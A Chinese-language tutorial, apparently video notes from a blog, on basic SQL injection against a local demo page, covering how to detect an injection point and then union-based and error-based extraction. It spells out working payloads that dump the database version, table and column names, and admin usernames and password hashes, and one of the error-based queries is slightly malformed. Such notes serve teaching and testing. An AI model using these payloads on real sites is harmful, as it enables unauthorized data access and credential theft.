Web安全--Sql注入基础

以下为视频笔记记录:

SQL注入点的判断:
如果+1,-1页面有变化,就考虑联合查询,如果页面没有变化就考虑布尔类型,此时看是否有报错,如果有报错就是报错注入,如果没有报错也没有回显的话就看是否有布尔类型的状态,如果有布尔类型状态就考虑布尔盲注,如果以上都没有则看是否有延时注入

?id=35   +1/-1    
select * from tbName where id=35

?id=35'   判断字符型还是数字型
select * from tbName where id=35'

?id=35 and 1=1    是否有布尔类型的状态
?id=35 and 1=2 
select * from tbName where id=35 and 1=1
select * from tbName where id=35 and 1=2

?id=35 and sleep(5)     是否有延时

四大基本手法:

  • 联合查询
  • 报错注入
  • 布尔盲注
  • 延时注入

demo注入点:
http://localhost/show.php?id=33

注入点的判断:
对连接http://localhost/show.php?id=33是否是注入点进行判断

(1)变换id参数
当我们变换id 参数(33+1|33-1)的时候,发现同一个页面,show.php页面展现出不同的内容。也就是说,数据库中的内容会回显到网页中来。
初步判定,id参数会带入数据库查询,根据不同的id查询数据库,得到不同的新闻内容。
猜测后台执行的sql语句大致为:

select * from tbName where id=33

(2)单引号
?id=33’
执行的sql语句则变为 select * from tbName where id=33'
页面报错,并且报错信息会回显到网页中,报错信息如下

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

错误信息提示单引号位置出现错误,那么说明sql语句从头到参数33都是正确的,也就是说,我们添加的单引号是多余的
因此可以判定参数33前面没有引号,则注入点可能是数字型注入
(3) and 1=1

?id=33  and 1=1 --+

可能得到的sql语句为:

select * from tbName where id=33 and 1=1 --+

此时得到的页面正常

(4)and 1=2

?id=33 and 1=2 --+

可能得到的sql语句为:

select * from tbName where id=33 and 1=2 --+

页面没有输出内容,并且数据库没有报错,由于1=2是恒假式,也就是查询条件where id=33 and 1=2 --+恒假,这样的sql语句在数据库中执行后,没有返回结果。
反过来看,页面没有新闻内容,也就是sql语句查询条件为假,也就是说,我们写的语句and 1=2 --+,起到了将查询条件置为假的作用
那么,可以通过构造语句来控制sql语句的查询结果,并且sql语句查询条件真假性在页面回显中有体现。

(5)and sleep(5)

?id=33 and sleep(5)

注入sleep(5)语句,可以通过网络时间线看到延时,说明sleep(5)祈祷了作用
综上,此连接存在sql注入漏洞
----------------------------------------------联合查询------------------------------------
联合查询
由于数据库中的内容会回显到页面中来,所以我们可以采用联合查询进行注入。
联合查询就是sql语法中的union select 语句,该语句会同时执行两条select语句,生成两张虚拟表,然后把查询到的结果进行拼接。
select …union…select
由于虚拟表是二维结构,联合查询会“纵向”拼接,两张虚拟的表
必要条件
(1)两张虚拟的表具有相同的列数
(2)虚拟表对应的列的数据类型相同
判断字段个数
可以使用order by语句来判断当前select语句所查询的虚拟表的列数,order by语句本意是按照某一列进行排序,在mysql中可以使用数字在代替具体的列名,比如order by 1就是按照第一列进行排序,如果mysql中没有找到对应的列,就会报错unknown column,我们可以依次增加数字,知道数据库报错

order by 1
order by 2
order by 3

得到当前虚拟表中字段个数为3
也可以用联合查询的方法确定字段个数:

?id=33 union select 1
?id=33 union select 1,2
?id=33 union select 1,2,3

数据库版本
?id=33 and 1=2 union select 1,version(),3 --+

数据库中的表:

?id=33 and 1=2 union select 1,concat(table_name),3  from information_schema.tables where table_schema=database() --+

数据库报错,考虑用hex() 函数将结果由字符串转为数字

?id=33 and 1=2 union select 1,hex(concat(table_name)),3  from information_schema.tables where table_schema=database() --+

上面sql执行成功后会得到表名,此时用十六进制进行解码

表中字段

?id=33 and 1=2 union select 1,hex(concat(column_name)),3  from information_schema.columns where table_schema=database() and table_name='users' --+

字段内容

?id=33 and 1=2 union select 1,hex(concat(username,':',password)),3  from users --+

上面sql执行成功后会得到后台管理员帐号的密码,但是密码是以密文的方式保存在数据库中的,所以这里需要将得到的内容进行md5转码

-----------------------------------------报错注入--------------------------------------------
在注入点的判断过程中,发现数据库中sql语句的报错信息,会显示在页面中,因此可以进行报错注入。
报错注入的原理,就是在错误信息中执行sql语句,触发报错的方式很多,具体细节也不尽相同,此处建议直接背公式即可。
group by 重复建冲突

?id=33 and (select 1 from (select count(*),concat((select version() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a --+

利用报错信息,获取数据库中的信息

select concat(left(rand(),3,' ^ ',(select version()), ' ^ ') as x,count(*) from information_schema.tables group by x

语句中的as是给concat(left(rand(),3),’ ^ ',(select version()), ’ ^ ’ 起一个别名方便后面的聚合操作,此处as可以省略,直接写x即可。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章